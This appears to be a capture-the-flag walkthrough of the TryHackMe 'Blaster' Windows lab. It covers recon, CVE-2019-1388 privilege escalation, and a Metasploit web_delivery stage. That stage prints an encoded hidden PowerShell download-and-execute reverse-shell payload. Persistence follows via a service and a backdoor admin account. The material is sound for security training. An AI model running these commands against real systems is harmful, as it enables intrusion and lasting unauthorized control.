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Blaster

Room Info

Name

🔗 Blaster

Description

📝 Throughout this room, we'll be looking at alternative modes of exploitation without the use of Metasploit or really exploitation tools in general beyond nmap and dirbuster.

Target IP

đŸŽ¯ 10.10.27.22

Recon

mkdir blaster
cd blaster
nmap 10.10.27.22
	80/tcp   open  http
	3389/tcp open  ms-wbt-server

nmap -sV -sC -Pn -oA blaster 10.10.27.22
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: RETROWEB
|   NetBIOS_Domain_Name: RETROWEB
|   NetBIOS_Computer_Name: RETROWEB
|   DNS_Domain_Name: RetroWeb
|   DNS_Computer_Name: RetroWeb
|   Product_Version: 10.0.14393
|_  System_Time: 2023-05-10T15:30:58+00:00
|_ssl-date: 2023-05-10T15:31:02+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=RetroWeb
| Not valid before: 2023-05-09T15:25:48
|_Not valid after:  2023-11-08T15:25:48
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 2s

Discover IIS Webserver hidden directories

# FFUF
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.27.22/FUZZ
	retro  [Status: 301, Size: 149, Words: 9, Lines: 2]
	Retro  [Status: 301, Size: 149, Words: 9, Lines: 2]

# GOBUSTER
gobuster dir -u http://10.10.27.22 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

	/retro  (Status: 301) [Size: 148] [--> http://10.10.27.22/retro/]

Navigate to

  • http://10.10.27.22/Retro/

  • http://10.10.27.22/retro/index.php/2019/12/09/ready-player-one/

📌 Wade:parzival

xfreerdp /u:Wade /p:parzival /v:10.10.27.22

# or use Remmina

Read user.txt file.

Reveal Flag - user.txt: 🚩

THM{HACK_PLAYER_ONE}

Local Recon

Check Internet Explorer history.

  • CVE-2019-1388 - Windows Privilege Escalation Through UAC

  • hhupd.exe on desktop

Privilege Escalation

  • Run hhupd.exe to exploit the privilege escalation vulnerability present in the Windows Certificate Dialog box, a bug in the UAC mechanism

    • cmd user: nt authority\system

cd c:\Users\Administrator\Desktop
type root.txt
Reveal Flag - root.txt: 🚩

THM{COIN_OPERATED_EXPLOITATION}

Exploitation

msfconsole -q
use exploit/multi/script/web_delivery
show targets
set target 2
set payload windows/meterpreter/reverse_http
set LHOST tun0
set LPORT 9090
run -j

  • Run the following command on the target machine

    • copy it in a file and host the file on a Python http server

nano payload

powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABwAE0AaQBSAE0APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAcABNAGkAUgBNAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAcABNAGkAUgBNAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQA4AC4ANgA1AC4ANAA4ADoAOAAwADgAMAAvAGYAaABGAHQATQBpAC8AbQAxAEQAMwBWADIAawBpAGkAJwApACkAOwBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAOAAuADYANQAuADQAOAA6ADgAMAA4ADAALwBmAGgARgB0AE0AaQAnACkAKQA7AA==
python -m http.server

  • Open the link on the target machine

    • http://10.18.65.48:8000/payload

  • Copy the code and paste it in the opened CMD

  • Check the spawned reverse shell in Metasploit

getuid
sysinfo
Server username: NT AUTHORITY\SYSTEM

Computer        : RETROWEB
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

Persistence

run persistence -X # Deprecated and not working

# Manual
background
use exploit/windows/local/persistence_service
set payload windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
set SESSION 1
set SERVICE_NAME spool1
run
# Regain access using the persistence service
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
run

  • Windows Defender blocked the persistence service payload in this case

  • Add a new user instead and give it administrative privileges

net user syselement pwd12345 /add

net localgroup "Administrators" syselement /add

net localgroup "Administrators"
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